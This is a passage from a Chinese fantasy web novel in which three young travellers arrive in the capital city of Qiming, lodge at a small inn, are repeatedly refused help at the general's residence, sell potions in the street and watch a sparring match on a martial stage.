他礼貌挂起笑容,拱手道谢:“药剂效果很好,多谢离姑娘。”
“小哥哥太客气了,是你们救了我……”
离声垂眸,本想问他名字,又有些不知怎么开口。
正当她踌躇时,耳边就响起仿佛听到了她心声般的话语。
君梦以掌撑着下巴,仍是盯着她瞧,“不用那么生分,他叫顾桃,桃花的桃。叫桃桃也行,桃哥也行。”
介绍顾桃时,她脸上扬起招牌式的笑容,眯着的双眼弯弯地,两颗小虎牙露在外头。
离声瞧着这可爱模样,对她的好感度又涨了好几分。
三人随性而聊,不知不觉中,天色渐亮。
两人得知离声与君梦同岁,是出来找孪生妹妹的。以她的话来说,妹妹是因为生她的气才离开了家乡不知所踪,所以她有义务找到她。
原本是按打听的路线,计划往东北方向的村庄城镇一路寻找,最终目的落在大陆主城。
可从未出过远门的她方向感并不太好,眼看都快要进城,不知怎地,就偏到了断弓山一带。因着附近也没有什么村落,物资已然不足的她,在饥渴交迫下,降落到了矿场。
虚弱的她刚落地就遇上了巡视矿场的领头蜈蚣,所幸的是,在关键时刻得了他们二人的搭救。
君梦见她弱
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不禁风的样子,现下还拖着一条伤腿,便提议道:“你现在伤成这样,一个人太危险了,我们往南走也是进城,你不如跟我们一起,互相也好有个照应。”
“那真是太好了!”
离声感激地看着他们,然而又有些犹豫,声音渐小:“可……会不会太麻烦你们了?”
“不会的不会的!我们一起走,人多也安全。再说啦,有你在,我们往后的路上都不用担心受伤呢!”
君梦赶紧接过话茬,手肘暗中还戳了戳顾桃腰子。
顾桃受到胁迫,只能笑道:“嗯,不麻烦,一起走吧。”
离声双眼亮晶晶,连连点头,“嗯嗯!!”
接下来的行程,出乎意料地顺利。
这一路全靠顾桃背着离声,他双手握拳扣住她的腿弯,弓着身子让她扶趴在背上,稳健的步伐踏在大道上。
君梦在一旁欢快地走着,时不时和他背上的离声说说话,没心没肺的样子让顾桃暗自摇头。
阳光透过树叶,在地上投下一片摇曳的光影,鸟儿在枝头吵着架,周围的一切都显得祥和安宁。
他们沿着河边大道往东南行进,断弓山的轮廓在身后渐渐远去。
终于,在翻过了最后一道矮坡后,山脉的尽头,一座宏伟巨大的城池赫然出现在眼前。
这就是整个大陆最为气势恢宏的中心:启明城。
青石城门高耸入云,仿佛连接着天地,砖块纹埋在阳光下透着岁月沉淀的厚重。
城门两侧,矗立着两尊巨大石像:
左边武将身披覆着鳞甲的兽纹战袍,双手按在杵地长剑上,气势威严霸气。
右边文士宽袖垂落如流云,袍角隐现的星图正随日光流转,神态儒雅坦荡。
一文一武,守护着这座城池的安宁。
君梦高声喊道:“快看那石像的眼睛!”声音里带着激动的颤抖。
顾桃和离声顺着那道惊惶又雀跃的目光抬眼,喉头不由哽了一下。
只见那武将石像的眼眶里,嵌着两枚拳头大的黑曜石,日光穿透时,竟在城门下投映出两道菱形光斑,正随着石像脖颈微不可查的转动,环视着过往人群。
顾桃把离声往上托了托,说:“进城吧。”
这时,左侧三丈开外,传来一阵叫嚷,好像谁家的小厮为了替主子抢夺入城先后顺序打了起来,惊动了巡城守卫,场面好生热闹。
君梦踮起脚尖正想瞧个仔细,顾桃空出一只手,大掌张开,将她竖得老高的双耳按得趴在头顶。
君梦翻了个白眼,不悦道:“哥哥捂我耳朵作甚?那边的声音我又没听见!”
她对顾桃拿她当惹事精的行为表示很不满,拼命按下好奇心,扭身就往城门走去。
“……”
“……”
城门下,两边的士兵们身着统一的铠甲,手持巨斧;他们身姿挺拔,庄严肃穆,眼神锐利如鹰,浑身散发出强大的气场,让人不敢轻易靠近。
更让人感觉奇特的是,有两个异常壮硕的士兵双眼大得离谱,从中射出一束明亮的光,来回扫视着进出城门的每一个人,像是能透视般仔细甄别检查。
25. 目不暇接
君梦感觉两只眼睛已经不够用了,只能努力睁得大大地,脸上写满了兴奋。
离声伏在顾桃背上,眼中也闪烁着惊奇的光芒,不由感叹:“我还从未见过如此宏伟的城池,最有名的城,果真名不虚传!”
两小只少女叽叽喳喳,好奇地四处打量。
顾桃静静听着,会心一笑。
三人随着人流慢慢靠近城门,当那光束扫过他们身上时,君梦突然做了个鬼脸,惹得旁边士兵嘴角微翘,一瞬又恢复了严肃的姿态。
“你真是一刻也不消停……”
离声被她逗得花枝乱颤,咯咯笑声引起周围人群的注意,不少人张大了嘴感慨她的容貌,“啧啧”声不绝于耳。
待她反应过来,羞得连忙将头低下,后来实在躲不开人群的注视,干脆将脸埋进顾桃胡乱扎起的发团中。
刚踏进城门洞,城内震耳的喧嚣如潮水般漫过来,景象更是令人目不暇接:
青石板路上的马蹄声、车辕带动滚轮的嘎吱、酒肆里摔碎陶碗的脆响、说书先生铿锵有力的讲述、外域行商的吆喝……都在雕满莲花纹的拱顶上撞出嗡嗡回声。
道路平坦宽阔,两旁的建筑极尽奢华:飞檐翘角,雕梁画栋,琉璃瓦在阳光下闪闪发光,尽显富贵与气派。
布庄的五彩绫罗,从二楼垂落,灿如虹彩。穿锦袍的掌柜靠在柜台里,用象牙秤称着一堆南海宝珠;店里坐着一位妖蛛绣娘,正用蛛丝混着金线织布;穿道袍的仙长在旁观望良久,指尖掐着法诀估算这匹布料的灵力。
街心鎏金牌坊,柱上盘着栩栩如生的金龙,龙鳞闪着细碎的光。
牌坊下的杂耍班子正演到精彩处,引得围观者爆发出雷鸣般的喝彩。
转过角,糖画摊前围满了孩童,既有梳总角的人类稚子,也有额间长角的妖族幼娃,还有背后生着透明翅膀的小仙童。
老手艺人手腕一抖,糖丝便在干净的青石板上绕出一条腾飞的龙,香甜的气息弥漫在空气中。
按下一支竹签,粘起已凝固的龙糖,递到了第一位小女孩儿手中。女孩儿往瓷碗丢下几枚铜铢,接过龙糖兴高采烈地离开了人群。
如此种种,两名少女惊叹连连,“哇”声四起。
顾桃满脸的黑线,硬着头皮无奈道:“你们两个再叫唤,就把你们丢在这了……”
君梦可不管他,两只眼睛亮晶晶地,指着糖画摊来回晃他的衣角,娇糯道:“哥哥~要这个!”
“……”
不答应?好,加重砝码:“阿声也想吃!”
“??我、我没有……”
离声双颊通红否认,她盘算了一下,自己没有多少钱了。
“不,你有!”
“……”
顾桃看着眼前撒娇小妮,本想说:你看那摊子,多少孩子在排队呢,等排到你天都黑了。
谁知君梦根本不等他答话,趁他头脑混乱之际,小手一伸就探进他的怀兜,掏出来十几枚铜铢,撒着欢往糖画摊蹦过去。
排队?未之有也。
摊主刚画完一支梅花束,她便拿在手中作出仔细观赏的模样,一边赞叹不已,夸摊主手艺真是极好!买花束的妖族小男孩儿见她只是想看看,便乖巧地等待亲切的妖狐姐姐欣赏。
待摊主画完第二支小兔,她便将手中十来枚铜铢往瓷碗里一丢,口中说道:“嗯嗯,这两个好,我就要这两个。”
说罢,拿起两支糖画便走,毫不理会摊前惊呆的众娃。回身拉起恨不得钻地缝的两个人,走了老远才听得背后一片哇哇大哭,以及摊主连哄带忙的安抚声。
“咔嘣……”
君梦满足的眯着眼,享受着抢夺的快乐,啊不,是糖画的甜美。
离声咽了一口唾沫,也顾不得羞耻了,接过君梦递来的小兔糖,手肘撑在顾桃背上,手掌接在小兔糖下方,小口小口的品尝着,惊叹道:“这个好好吃啊!”
顾桃带着她们一边寻找看起来便宜些的落脚地,一边叮嘱两人,主要是最皮实那位:
“这里不比乡下,以后不许再莽莽撞撞的……城里贵人太多,说不定就冲撞了哪位,我们尽量不要惹事,知道了吗?”
“嗯嗯!咯咯咔咔……”
“知道了,桃哥。”
美味的糖果堵上了两个妮子的小嘴,世界总算是安静了下来。
顾桃此刻很像一位年轻的父亲:背上背着个不能跑的姑娘,空出一只手还得牵着另一个只想到处乱跑的姑娘。
他感觉一个头两个大,本来一个妮子已经很难带了,眼看刚“收养”的乖巧女孩儿也快要被她带偏,心中唉声叹气。
他正感慨生活不易,君梦突然顿住脚,指着街角三层楼的华丽客栈嚷嚷:“桃桃,你看那家挂的红灯笼好好看!”。
顾桃和离声顺着她的指尖望去,雕花门楣上“迎客楼”三个烫金大字闪得刺眼,装修已经不能用豪华来形容,连门童的腰间也别着玉佩坠子。
这时,旁边走来一名清瘦高挑的短发少年。
君梦总感觉在哪见过,眼珠滴溜溜地转,将他从头到脚好一番扫视。
可周围环境太过杂乱,她分着神竟一时想不起来。
这少年容貌生得俊朗英气,景蓝华服看着就气派非凡,只是蹙起眉头光着顾赶路,似有什么心事般。
但如此美景,还是让她勾起一抹笑,又忍不住多看了几眼。
顾桃见她这副模样,顿感不悦,眉头都快拧成疙瘩了。
不过马上她的笑容就僵住了。
少年身后跟着的小随丛,见阶梯下站着人,自他身后快步绕向前,扫了一眼他们身上的粗布麻衣,当即扯着嗓子喊道:“让开让开!别挡了我们少爷的路!”
君梦火气“噌”地就上来了,正要与他理论,却被顾桃一把拽住,并冲她摇了摇头。
那华服少年听见随从语气不善,狠狠剜了他一眼,朝着君梦微微拱了拱手,抬脚走上台阶。
小随从被主子一瞪,顿时像被掐住脖子的鸡,立马低下头跟在他身后。
君梦见状,也只好作罢,只是冲小随从翻了个大大的白眼,撅起嘴嘟囔:“呸!狗腿子!”
她消了气,话锋一转,又嬉皮笑脸地说:“不过嘛,他家少爷倒是生得俊,那身衣裳也好看,真想把它扒下来给桃桃穿穿看……”
顾桃差点气笑了,空出来牵她的手抬起就是一个清脆的栗子。
“啊!”
君梦捂着额头抬眼,瞧他有点生气了,不敢再犟嘴。
凭白挨个脑瓜崩,也只能在心中暗自腹诽:我又不是真的要去偷别人衣服,说说也不行吗?!这是生的哪门子气?
顾桃绷着脸,默不作声拉起她
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,转身继续往北走。
抛去这段令人不快的小插曲,他开始盘算剩余的盘缠和往后的花销。
离声伏趴在顾桃背上,打量两人神色,突然恍然大悟,憋着笑也不作声。
越往城北走,街道越发冷清,地上几片枯叶,显然少有行人。
终于,在城北最角落的城墙下,找到了一座装饰简洁的二层小楼,褪色的红漆在简朴的原木门匾上书写着“翼家客栈”。
推开门,一股淡淡的饭香扑面而来。
这客栈外观简陋,内里却收拾得很是整洁。
几张方桌擦得锃亮,靠里的两张桌子,坐着几只小兔妖,正低着头扒拉饭食,察觉到有人进来,瞥了一下,又继续吃,互不打扰。
“哎哟喂!客官快快里边请!”
绿衣服的翼掌柜从柜台后弹起,脸上褶子堆得像朵盛开的菊花。
“今儿刚晒过被褥,通铺单间都有,保管干净!”
他绕过柜台,瞅见顾桃背上的姑娘腿部打着夹板,连忙询问可要什么帮助否?
三人拒绝后,顾桃要了一大一小两间房,翼掌柜颠颠地小跑着将三人带往楼上。
反正没几个客人,干脆贴心的给他们安排了连在一起的两间客房。
房间内窗明几净,设施简单却齐全,几人都表示很满意。几天都不见得能有一单生意的翼老板,这才开心地退了下去。
顾桃将离声放置于床边,转动了两圈脖颈松松筋骨。君梦则扶着她靠坐在床头上,问她要不要吃些小点垫垫肚。
两人的贴心照顾不禁让离声又红了眼眶。
顾桃问道:“阿声,住这里能习惯吗?要是不习惯,待我把事情办完了,再换个地方。”
初见离声时,见她衣饰虽然简单,但布料款式看起来还是不俗的,料想是有钱人家的女儿。
但不知未来还要经历多少磨练,只眼下还有要紧的任务,也不知会在城中耽搁多久,省着些花销还是有必要的。
离声连忙摇头摆手:“桃哥,不用顾及我,有个能歇脚的地方已经很好了!”
“好,有什么需要只管跟我说。”
顾桃走到门边,又回过头不放心地看向君梦:“你乖乖的休息,不要到处乱跑,我去打听打听将军府。”
“???”
君梦被噎住,眼看他走出了房门,只得回过头问离声:“他为什么看着我说?”
“噗呲……”
离声将一个包袱取出来,垫在大腿上缓缓打开。
君梦一下子被这摊物什吸引住,好奇道:“这是什么?这么多瓶瓶罐罐。”
离声笑答:“都是我研制的药剂,什么效果的都有。”
“哦!你好厉害!!”
离声接着说:“我想着……挑出一些不打紧的,拿去卖掉,总不能一直花着你们的钱。”
君梦不解反问:“可我们不是姊妹吗,一起花钱有什么关系?”
离声摇了摇头,轻笑着说:“就算没关系,那你们的钱也花光了怎么办呢?吃饭、住店、采买,都是要花钱的呀。”
“……花完了就住山洞,我和桃桃打猎可厉害了,肯定饿不着你!”
君梦不以为然,反正她一只狐狸,睡哪不是睡。
“哈哈,你倒是想得开!”
离声忍不住笑弯了腰。
26. 大陆的核心,启明城
顾桃来到楼下,摸出几枚铜铢放在柜台上:“掌柜的,向您打听一下,将军府怎么走?”
翼开远的手刚要碰到铜铢,闻言猛地顿住,过了一会才眨巴眨巴眼:“宴锋将军?”
见他点了头,才压低了声音,神秘兮兮地说:“那地方可不是咱们普通人能随便去的。将军府的门槛比咱城楼还高,他们家总管厉害得很,没点真本事或硬门路啊,怕你连府门都挨不着边。”
顾桃皱了皱眉,道了一声谢,还是询问了具体的位置,打算亲自去看看。
出得客栈,观察了一下周围。
客栈隔壁是一座样式奇特的建筑,门楣悬挂着“永和三宁馆”的匾额,笔锋圆润却藏着筋骨。
屋檐下的风铃由三种不同材质的叶片组成,分别刻着三大种族的图腾,风一吹,发出的“叮铃”声响各有不同,诉说着这里各不相同的身份。
想来,此处便是三大种族派来的使者的长驻地,专门为解决城池中各族人员的纠纷和难题而设。
“永和三宁”应是取自“永远和睦三族安宁”之意,真是简单明了又随意……
顾桃没有多加打量,寻了路往西南方向走去。
宴锋将军的院落在城南尽头,刚好与他们住的客栈成对角,差不多要穿过整个城池的距离。
按翼掌柜指的路,沿着主街道右转直走,遇到十字再左转,可以从城池中央穿插过去。
顾桃迈着大步,走上城中心的巨大拱桥。
桥身下方还有另一道巨桥连接东西两方,两座桥呈十字交叉通往四个方向。
桥下修着方形水池,池内生长着大片莲花,水面粼粼波光。
水池中央的四个方向,矗立起四条青铜巨龙。龙尾筑底,龙身直立,龙颈微弓,驼着一方圆形神台;龙口向四方喷出银白水柱,如瀑布般又撒入池中。
神台四周,呈东南西北四个方向,对称分布着四座天王石像,身披铠甲,手持法器。基座之间由石制回廊连接,回廊下方连通着拱桥。
再往高处望去,各天王像身后,还有高出城墙许多的四座祭坛,修葺得华美神圣,每块砖石上都刻有复杂纹路。
祭坛顶端,各自摆放着巨大的浑天仪,中间四条圆形轨道如星河脉络般转动,框架上的符文纹理更加晦涩难懂。顶端太阳造型的装饰里,嵌着大颗绿宝石。
四台精密的浑天仪不分昼夜,吸收着天地间的灵气。
灵气随着特定的路径,又在水池上方的神台汇聚。
神台顶部蓝色光芒四溢,充沛的灵力流动其间,形成一顶巨大的坚固结界,笼罩着城池。
原来,整座城池就是一个巨大的聚灵法阵!
如果说顾桃之前只是感慨城池的宏伟繁华,那么此刻,对这座全大陆核心的城池的情绪表达,只能是震惊!
他按下心中的激动澎湃,迈开步子继续往前。
走下拱桥就到达城南区域,远远便看见那座鎏金牌坊,杂耍的戏班子还在卖力表演。
瞧着街道上熙熙攘攘、人山人海的样子,想来此处是不分时辰的热闹,不然戏班子怎地不顾休息也要轮番表演。
他突然冒出个想法,虽说现在盘缠还不缺,但总是有用尽的一天。
到时,带着梦儿也来此处搞个杂耍表演,指不定也能赚不少银子。
要想个别出新裁的玩法才能吸引顾客……那就表演个“瘦弱狐狸胸口碎大石”吧,他来拿锤子!
忍不住笑出声,所幸四周花样繁多,没人注意到这个被两只女娃折磨得快发癫的少年。
……
“啊嚏!”
君梦揉了揉莫名其妙发痒的鼻子。
和她一起打着瞌睡的离声瞬间被惊醒,关心道:“梦儿,受凉了?”
“没有,肯定有人骂我!”
“……”
……
又快步走了许久,饶是健壮的他,也有些气喘。
终于,眼前出现一座丈高的方形演武台,四周设有石柱,相互间用铁链相连,形成围栏,隔绝着四周涌动的喧闹。
台中央的上空,悬着一把石雕光剑。剑尖朝下直指台面,剑身散发幽蓝的光芒,环绕着淡淡的光晕,仿佛有能量在流动。
台上一白一红正战得酣畅淋漓:半妖化的白蛇女妖甩动长尾;红袈裟的大光头足踏流光,将手中金色禅杖舞得虎虎生威,逐渐将蛇妖的妖气撕碎。
突然,大光头掏出一只金钵高高举起……
这时,台下叫好声浪几乎掀翻屋顶。
顾桃甩了甩头不再关注,继续在攒动的人头中急切逡巡。
翼掌柜说看到演武台就能找到将军府,拥挤的人群倒是挡不住他的视野,掠过一张张亢奋的脸,终是在西南角发现了端倪。
那里像是被无形屏障隔开,七八丈见方的空地上,连风都带着凝重。
顾桃心头一动,拔开人群朝着那片寂静走去。
过了青砖石拱门,两列栽着笔直的古柏。树影尽头,一道朱漆大门豁然出现在眼前。
门楣匾额上的“将军府”漆黑如墨,金边在暮色里泛着冷光,门两侧的石狮子口含宝珠,眼神凌厉得像要扑下来。
十余名披甲士兵分立两旁,右手按在腰间长刀上,目光扫过来者时不带半分波澜。
顾桃心下大喜,刚迈出半步,只见前排两名士兵同时拔刀。
“止步!”
左侧士兵的声音像是淬了冰,哐当一声砸下来,“将军府禁地,闲人勿近。”
顾桃作了个揖,深吸一口气,将声音提高些,好盖过外面演武台的喝彩。
“邻水镇遭邪灵为祸,小子受人之托,斗胆前来求援!”
士兵的长刀并未收回,右侧那人眉头微蹙,扫视了一番顾桃衣着上的尘土,回道:“邪灵作祟该报给巡城校尉,将军府不管村镇琐事。”
“……”
根本不懂门道的顾桃一时语塞,然而无可奈何,见士兵们目光不善,容不得他再多说什么,只得叹了口气转身往回走。
他耐着疲惫,又一路寻问校尉府的方向。
城中街巷如交错的蛛网,绕了两三圈直至天色黑尽,才在一
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处挂满幡旗的院落前停下。
门口的亲兵斜挎着长刀,听完他的叙述便嗤笑道:“校尉大人正忙着清点城西军械库存,哪有空管你村镇的小事?!”
“可那邪灵冒充镇长,以举办‘除厄会’的由头,召集了各地的修行人士替它收集妖丹不说,还暗中残害了不少性命。”
顾桃很是焦急,语气也加快了些。
亲兵听了此话,脸上嘲讽淡了些,可仍是摆手驱赶:“能攒妖丹的邪灵必是千年道行,校尉府的法器镇不住它。你还是回将军府吧,只有将军的斩邪剑能劈开那东西的结界。”
顾桃只觉一股火气从脚底蹿上来,喉咙里又干又涩。
他眼睁睁望着亲兵离去的背影,忽然想起临行前二伯对他的嘱咐:“如今的大陆,高高在上的才敢管事。但高高在上的人物,一般不太管事……凡事,还得多靠自己。”
夜风卷起他的衣角,看了看天色,想起两个小妮还在等他,最后还是决定先回客栈再做打算,免得她们担心。
夜已深,“翼家客栈”一楼的门已经阀上,但里头还亮着摇曳的烛光。
走近时,从门缝里传来一阵嘻笑声。
“……才不是呢,箐琼妹妹温柔文静,还很害羞。多半是因为家里才拒绝我,那时我又年少气盛,哎……”
翼掌柜的语气里透着懊恼与不甘。
君梦笑嘻嘻戳着他心窝子:“那你为何不将她追回来,跑来这犄角旮旯开客栈?莫非你的箐琼妹妹已嫁作他人为妇?”
翼开远嘴角抽了抽,反驳道:“我出征回来后就找不着她了,四处打听也没个结果,若是嫁了,肯定会有人说起……久久找寻不到,干脆就来了祖龙,想着碰碰运气,打拼多年攒下这二层小楼,可也始终没有她的消息……”
“叩叩”
敲门声响起,翼开远连忙答了,小跑着过来拉起门栓,只见顾桃一脸疲态站在门前。
半跪在长凳上的君梦一看,跳起来就扑向他,喊道:“桃桃!你回来啦!”上下打量着他是否完好无损。
顾桃见她笑脸,顿觉胸中气闷消散许多,扬起一抹浅笑:“嗯,不好好在房间,怎地又来叨扰掌柜的?”
“无妨无妨,你这两个妹妹乖巧得很。”
翼开远一脸笑意,倒是不见嫌弃。
“先前吵着闹着要出去找你,我告诉她们这城中安保好得很,不用担心。好说歹说,她们才肯留在这等,就是我这肚子里的故事都快掏干净了!”
顾桃笑道:“多谢掌柜的。”
跟着君梦进了大堂,才看到离声扶着一支旧木拐,也坐在柜台前。
“桃哥,饿坏了吧?快过来坐,饭菜热一热就能吃了。”
离声语气温柔,杵着拐还试着要站起来。
“你莫动!我去。”翼开远溜得飞快。
顾桃来到柜台前的四方桌边坐下,将今天所见所闻详细讲了一遍。
君梦气呼呼地骂道:“这也不管那也不管,那他们要管什么?!非得等到出了大事才肯现身么?那要他们作甚?不如养群狗!”
27.再食闭门羹
君梦一听顾桃的行程并不顺利,甚至连将军府门都没能靠近,不由一通大骂。
离声惊骇得脸色一白,连连拉扯她,低声劝道:“好了姑奶奶,你可小声些……”
君梦怕牵扯到她伤腿,不敢反抗,鼓着脸颊坐下。
离声再次劝慰:“既然巡城营那边开了口,也只能明天再去一趟将军府了,看看他们怎么说吧。”
君梦这才点头,接着望向顾桃:“明天我陪你一块儿去瞧瞧!”
不等顾桃答应,端着长形托盘从厨房出来的翼开远接过话茬:
“哎呀,依我看,这将军府倒是不去也罢。”
说着,将一荤一素一大碗米饭放置到顾桃跟前。
“怎么说?”
顾桃点点头致谢,稍微犹豫后还是端起那碗米饭,同时不解地问道。
翼开远跨过长凳一屁股坐下,同他们细细分析:
其一,你可知将军府每日要见多少求告的人?地方官要递文书,世家要送拜帖,连仙门弟子求见都得有师长手谕。
你一个无名少年郎,连个引荐的人都没有,卫兵根本不会放你进去。
其二,就算没有引荐,若有信物也成。当年将军平定大陆,给过有功的村镇一块玄铁令牌,见牌如见人。
你有么?你来的那镇子,有么?
其三……说句实在的,小镇遭受邪灵,真不归将军管,他老人家哪能管得过来这么多?!将军府兵将你推给巡城校尉,也只是顺手往下推。
实际上,镇上闹邪,还是该找地方的道门管,道门都管不了,才会惊动校尉。总之轮来轮去,不知几时矣……
“哎,你这趟求见,注定就是碰壁的。”
翼开远摇着头,一脸惋惜的模样,粗糙的手指不紧不慢敲着桌面。
君梦听得昏头转向:“这是什么规定?乱七八遭的!”
有一样听懂了,他们见不着将军!
“梦儿,你先别急。”
离声握着她的手安抚道:“如今大陆的局势基本平定,三族中枢早已统一管理制度。人族那套是很繁琐,但不得不说,也确有其效。大陆种族众多,若不是依照这套制度来执权行事,怕是不能短短时间就将各地治得服服贴贴。”
翼开远不吝赞赏道:“嗯,正是如此。”
他看顾桃放下碗筷不再进食,碗中米饭几乎没怎么动,笑呵呵地转移了话题:“少年郎,第一次进城?这人族的饭食可是吃不惯?”
“可是现下城中大多生活,都已经偏向人化了。他们现在才是大陆的主流,我们呀,早晚得习惯。”
说罢,抬手摸了摸耳背后的白羽。
“……”
顾桃皱眉思虑片刻,再次拿起筷子。
他正要端碗时,翼开远却抢先拿走了那碗米饭。
在他疑惑的表情中站起身,端着米饭往后院走去,嘴里咕噜着:“慢慢来吧……你先等会,我给你做烧鸡去,这饭正好喂鸡,让它吃饱了再上路!”
“……”
……
天刚亮,按昨夜商量后的计划,顾桃带着君梦再去一次将军府。既然巡城校尉又推了回去,那他们便将话也带过去,万一成了呢!
离声小腿已然大好,杵着翼开远送的旧拐也能勉强走路。
她和君梦你一言我一语,哀求着顾桃将她带到主街上去。
顾桃被两个聒噪的女孩儿磨得头又大了一圈,默默将“带坏小孩儿的坏狐狸碎大石”的计划提上了日程。
顾桃依旧背起离声,那么远的路程,等她一瘸一拐蹭到主街,天怕是又要黑了。
三人在演武台附近寻了处空置的地方,不远处站了一个牵着狼兵的守卫。
顾桃觉得这里比较安全,于是翻出翼开远准备的草团垫子,将离声放了上去。
君梦在垫子前方,将一块花里胡哨的破布折了两叠,把细小破洞遮住,铺在了离声跟前。
这东西也是翼开远贡献的,怎么看也是换下来的旧床单,品味真是无与伦比。
离声掏出瓶瓶罐罐,仔细地以大小高矮排了序,一个一个摆放整齐。
君梦叮嘱道:“你就在此处安心等我们,要是有事,就找那个牵狗的。”说着还执起她的手一同指了指“牵狗”的那位。
离声乖巧一笑:“好的,放心吧。”
……
两人并肩来到将军府前,晨光已经漫过石狮子肩头。
今日的士兵已经换了岗,新站在此处的士兵眼神似乎更为锐利,见他们走近,手便立刻按在刀柄上,与昨日如出一辙的警惕。
“求见将军!救救邻水镇!”
顾桃鼓起劲头,弓身一拜,努力让自己的声音平稳些。
君梦见状也有样学样,这种时候,她也是不会任性添乱的。
前方士兵冷冷开口:“将军不见外客。”
“昨日巡城校尉说,那邪灵已是千年大妖,只有将军能对付……”
顾桃简洁明了诉说,一是表明自己已经找过巡城校尉,二是转诉校尉对付不了这只邪灵。
“放肆!”士兵厉声打断他,“将军掌管的是军机要务,岂会为区区村镇邪祟分心!”
他往前踏出半步,抽出长刀指向二人:“速速离开,再敢喧哗,休怪刀剑无眼!”
君梦赶紧抬头还想说什么,却被顾桃拦下。
他转头看向她,微微摇头:将军府兵态度已然明了,多说无益,好汉不吃眼前亏。
顾桃只觉一股无力感从脚底蔓延,加上夜里并没怎么睡,声音有些低哑:“我们走吧。”
君梦点点头,与他一同转身离开。
两人想起仲老爷子的期盼眼看就要落空,也没了嘻闹的兴致,他们握紧了对方的手,无声地相互安慰。
顾桃想,看来只能再去一趟管辖当地的道门,又或许,在城内会有什么转机?
等他们走出拱门,演武台那方已经聚集了不少人,洋洋洒洒传出一片喧闹。
仔细一看,台上却是空无一人,想来时间还早,宣战的双方都未到场。
君梦觉得不对劲,撒开顾桃的手快步走向人群,踮着脚尖想寻找离声。
她急道:“桃哥,挤不进去了!”
顾桃分辨着人们的热议,谈话中似乎并未有对离声不利的话语。
他不慌不忙走上前,一把托起君梦让她侧坐在自己肩头,两人在人群外往里一看:
乖巧明媚的离声安安全全地斜坐在草垫子上,被人群围在中间。
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她动作轻盈,正往一只手指粗细的小瓷瓶里舀着药粉。
有个壮汉伸着猪脸,吸着不断流出的口水,含糊不清地祈求神医快快救他。
离声还是柔柔的,不疾不徐。
她先是将装好药粉的小瓷瓶交到旁边摊开的手中,随后收下那手又递过来的一枚金铢,放入鼓鼓的荷包内。
这才让那猪头凑近了些,重新拿起另一只靛蓝色的小瓶,以细小铜勺勾出少许粉末盛于掌中,生疏地注入一缕微弱灵力,挥撒在猪头面部。
猪头立刻停止了猪叫,认真感受药效。
“唉?不疼了……真不疼了!!”
随着话音,那张猪脸脸竟当真以肉眼可见的速度缩小,逐渐恢复成一张正常比例的小眼睛圆脸。
原来只是个普通人被妖蜂蛰了。
离声湛然笑道:“你这毒素轻微,只给三十枚铜铢便可。”
实乃人美心善!物美价廉!药效极佳!
围观者发出一阵惊呼,纷纷往前涌,口中大呼小叫地喊:
“小神医!我要驻颜丹!”
“我要金枪不倒丸!快卖我一瓶!!”
“啊啊啊!我也要!治什么的都行!!!”
“……”
顾桃单肩杠着闭不上嘴巴的君梦离开人群,走向演武台对面的一处高台阶。
两人爬上最高处,一大一小两坨干脆往那一蹲,默默看着人群里忙忙碌碌但井然有序的离声。
君梦仰起小脸,问:“看这情形,她是想养着我俩了吧?”就像宠物那样?
阳光有些晃眼,她微眯着眼往顾桃的身影下躲了躲。
顾桃垂眸,倾过身子为她遮挡,十分认可她的想法。
“……嗯,像。”
忽然有人高喊:“开始了!”
正巧离声的药瓶也售卖得差不多了,人群渐渐开始往演武台下移动,只留下少数几个本就是垂涎离声容貌而围过去的登徒子。
顾桃跳下高台,往正在收摊的离声走去。
那几个不怀好意的家伙一见这大高个冷着脸走来,便也识趣的散了,没人愿意在这座城里惹事。
他帮着离声收拾好摊子,回头看了一眼蹲在原处一动不动的君梦,暗中叹口气,伸手将离声扶起。
离声询问他们今日情况如何?
顾桃只是垂眸摇头,抿着唇并不言语。
她便也不再吱声,埋着脑袋杵起旧拐,在他的搀扶下往君梦那边靠过去。
……
热闹非凡的南街,走来一位身着天青蓝衣着的短发少年,短褐显得轻便,但布料绣纹无不精致,腰间悬挂的玉佩一看就价值不菲,随着他的走动叮当作响。
少年手执一柄长枪,奇异的光泽在阳光下转变着枪身光芒的颜色。
人群压不住议论:
“是陆家少爷!”
“谁?”
“啧,仙剑城那位!”
另一人低语道:“听说他为了拜入将军门下,已经在城外武场苦练了三个月!”
“哟!这可不是一般人能受的苦。”
陆家少爷对人们关于他的讨论毫不在意,足尖轻点跃上台面,以枪首点地,面无表情静静等待着对手。
28.演武台上的较量
短发少年手持长枪立于演武台上,静静等待相约之人。
君梦看清此人,眼睛一亮,来了兴致:“噫?这不是之前在客栈门口那人吗?……啊!我想起来了,进城的时候也是他家小童与人争执。”
顾桃刮了她一眼,语气不善:“你不是说你没听见吗?”
“……我看见了!”
“……”
君梦瞧他的脸一瞬就黑了,莫名觉得心虚,不动声色往离声身边贴,总之躲他远远的,生怕又挨个脑瓜崩,惹得离声咯咯直笑。
闲聊间,一名士兵卸了铠甲,仅着白衣黑裤也登上台面。
士兵面容刚毅,气质沉稳,手中那柄长刀锋利厚重,一看便是久经沙场之人。
见对方摆好架势,陆家少爷率先动了,单手执枪直刺士兵心口。
士兵不屑地冷哼一声,站在原地将手中长刀一转,以一个刁钻的角度横档过去。
“铛”地一声,枪与刀猛地撞在一起,交鸣声让不少人都捂住了耳朵。
陆家少爷一击不中,娴熟地耍起手中长枪再次进攻。随着攻势的愈发激烈,枪身光芒随之暴涨,竟在枪尖凝聚起一团橙色火球。
士兵见状,稳扎马步,一手握刀柄一手撑刀背,将长刀竖在身前格挡,迎面便撞碎了那团火焰。
两人的身影在台上快速交错,台下叫好此起彼伏。
“听说那柄枪是用火山深处的赤铁锻造,能召来离火,没想到居然是真的!”
“唔……今日这场武斗实在是大有看头!”
高台阶上,君梦和离声两人激动地鼓起掌,目光紧盯台上,生怕错过一个精彩瞬间。
顾桃则是将两人的路数牢牢记在心中,试图拆解后再融入自己的招式里。
眨眼功夫台上就打了几十个回合,陆家少爷始终无法占据优势,不由心中焦灼,他紧咬牙关,手中的长枪光芒也愈发浓烈。
相比之下,士兵就镇定多了,每每长枪从四面攻来,他便以纯粹的力道破除对面的巧劲。
陆家少爷勉强稳住心神,严阵以待。
其实两人之间的差距,在刚交手时他便明白了。
他破不了对方一点防御,于是开始围着士兵游走,长枪时不时从意想不到的角度刺出。
士兵皱起眉头,脸色不佳,显然不太适应这种猥琐的打法,动作慢了下来,想看看他到底在玩什么花样。
正当陆家少爷耐着性子试图寻找士兵的破绽时,逐渐烦闷的士兵突然大喝一声:“就这点能耐?!”长刀上寒光闪过。
他不再被动防御,手腕翻转变为主动攻击,刀势凌厉无比。
